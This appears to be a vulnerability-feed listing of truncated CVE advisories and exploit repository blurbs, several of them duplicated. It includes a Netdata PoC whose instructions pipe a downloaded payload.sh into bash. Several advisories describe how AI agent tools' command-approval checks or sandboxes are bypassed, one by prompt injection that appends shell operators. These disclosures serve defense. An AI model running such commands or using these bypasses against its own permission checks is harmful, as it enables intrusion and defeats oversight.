Shellshock-CVE-2014-6271-Exploitation-and-Analysis

🐚 Shellshock CVE-2014-6271 – Exploitation & Analysis 📌 Overview This is the practical assignment for Vulnerability Assessment and Penetration Testing – II , focusing on the exploitation and analysis of the Shellshock vulnerability CVE-2014-6271. Conducted in a controlled lab environment using...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: bash exploit.sh In target machine run in a writable directory: curl http://:8000/payload.sh | bash It will automatically download the nvme binary, export the path, run...

CVE-2026-109429

A flaw was found in mistral-vibe. This vulnerability allows an attacker to bypass command permission security checks, leading to arbitrary command execution. By embedding command substitutions inside variables that are evaluated using Bash prompt-transform operators, malicious commands can evade...

CVE-2026-102697

A flaw was found in Ollama. The experimental agent mode fails to properly parse shell syntax within its command approval mechanism. An attacker capable of manipulating model output through prompt injection can append shell control operators to approved commands. This flaw allows the attacker to...

CVE-2020-7384

CVE-2020-7384 This is an exploit made in bash for CVE-2020-7384. It is a modification of nikhil1232's code here: https://github.com/nikhil1232/CVE-2020-7384/blob/main/CVE-2020-7384.sh My goal was to make the exploit easier to run, along with adding a few QOL improvements. Usage bash CVE-2020-7384...

CVE-2026-123023

A flaw has been found in agentscope-ai AgentScope up to 2.0.8. This affects the function checkpermissions of the file src/agentscope/tool/builtin/bash.py of the component Bash Tool. This manipulation causes incorrect authorization. Remote exploitation of the attack is possible. The exploit has be...

EUVD-2026-117442

A flaw has been found in agentscope-ai AgentScope up to 2.0.8. This affects the function checkpermissions of the file src/agentscope/tool/builtin/bash.py of the component Bash Tool. This manipulation causes incorrect authorization. Remote exploitation of the attack is possible. The exploit has be...

CVE-2026-123023 agentscope-ai AgentScope Bash Tool _bash.py check_permissions authorization

A flaw has been found in agentscope-ai AgentScope up to 2.0.8. This affects the function checkpermissions of the file src/agentscope/tool/builtin/bash.py of the component Bash Tool. This manipulation causes incorrect authorization. Remote exploitation of the attack is possible. The exploit has be...

CVE-2026-123023 agentscope-ai AgentScope Bash Tool _bash.py check_permissions authorization

A flaw has been found in agentscope-ai AgentScope up to 2.0.8. This affects the function checkpermissions of the file src/agentscope/tool/builtin/bash.py of the component Bash Tool. This manipulation causes incorrect authorization. Remote exploitation of the attack is possible. The exploit has be...

CVE-2026-123023

The agentscope-ai AgentScope software (up to version 2.0.8 ) contains a vulnerability in the Bash Tool component. Specifically, the check_permissions function in the file src/agentscope/tool/_builtin/_bash.py suffers from an incorrect authorization flaw. This issue could allow for remote exploita...

CVE-2026-121751

Node Version Manager nvm is a POSIX-compliant shell function for managing multiple node.js versions. In versions 0.39.6 through 0.40.8, nvm ls-remote and other commands that refresh remote LTS aliases store the version column of the mirror's index.tab in $NVMDIR/alias/lts/ without validating it,...

CVE-2026-76826 tsParticles: Generated release notes can execute shell commands in the stable publish workflow

tsParticles is a TypeScript library for creating highly customizable particle animations. From 4.0.0 until 4.3.2, the stable publish workflow interpolates steps.release.outputs.body directly into an echo command in Bash source before writing RAWRELEASE.md. Contributor-controlled shell...

CVE-2026-76826 tsParticles: Generated release notes can execute shell commands in the stable publish workflow

tsParticles is a TypeScript library for creating highly customizable particle animations. From 4.0.0 until 4.3.2, the stable publish workflow interpolates steps.release.outputs.body directly into an echo command in Bash source before writing RAWRELEASE.md. Contributor-controlled shell...

CVE-2026-76826

The tsParticles TypeScript library (versions 4.0.0 through 4.3.2 ) is vulnerable to OS Command Injection (CWE-78) within its stable publish workflow. The vulnerability occurs because the workflow interpolates steps.release.outputs.body directly into a Bash echo command when generating RAW_RELEASE...

CVE-2026-121751 nvm evaluates a malicious mirror's index.tab version strings as shell arithmetic via stored LTS aliases

Node Version Manager nvm is a POSIX-compliant shell function for managing multiple node.js versions. In versions 0.39.6 through 0.40.8, nvm ls-remote and other commands that refresh remote LTS aliases store the version column of the mirror's index.tab in $NVMDIR/alias/lts/ without validating it,...

CVE-2026-121751

Node Version Manager (nvm) versions 0.39.6 through 0.40.8 are vulnerable to OS command injection via shell arithmetic evaluation. The nvm ls-remote command stores unvalidated version strings from a mirror's index.tab into $NVM_DIR/alias/lts/. Subsequently, nvm_normalize_lts evaluates these string...

PT-2026-137193

Name of the Vulnerable Software and Affected Versions Node Version Manager nvm versions 0.39.6 through 0.40.8 Description An issue exists where nvm ls-remote and other commands that refresh remote LTS aliases store the version column of the mirror's index.tab in $NVM DIR/alias/lts/ without...

CVE-2026-88968

Claude Code is an agentic coding tool. Prior to 2.1.251, the Edit tool validates a target using pathname and symlink resolution that is not bound to the underlying directory inode or file descriptor. On macOS, attacker-controlled code running in the Bash sandbox can atomically replace an...

EUVD-2026-116209

Claude Code is an agentic coding tool. Prior to 2.1.251, the Edit tool validates a target using pathname and symlink resolution that is not bound to the underlying directory inode or file descriptor. On macOS, attacker-controlled code running in the Bash sandbox can atomically replace an...

CVE-2026-88968 Claude Code: TOCTOU Race in Edit Tool Allows File Writes Outside the Workspace

Claude Code is an agentic coding tool. Prior to 2.1.251, the Edit tool validates a target using pathname and symlink resolution that is not bound to the underlying directory inode or file descriptor. On macOS, attacker-controlled code running in the Bash sandbox can atomically replace an...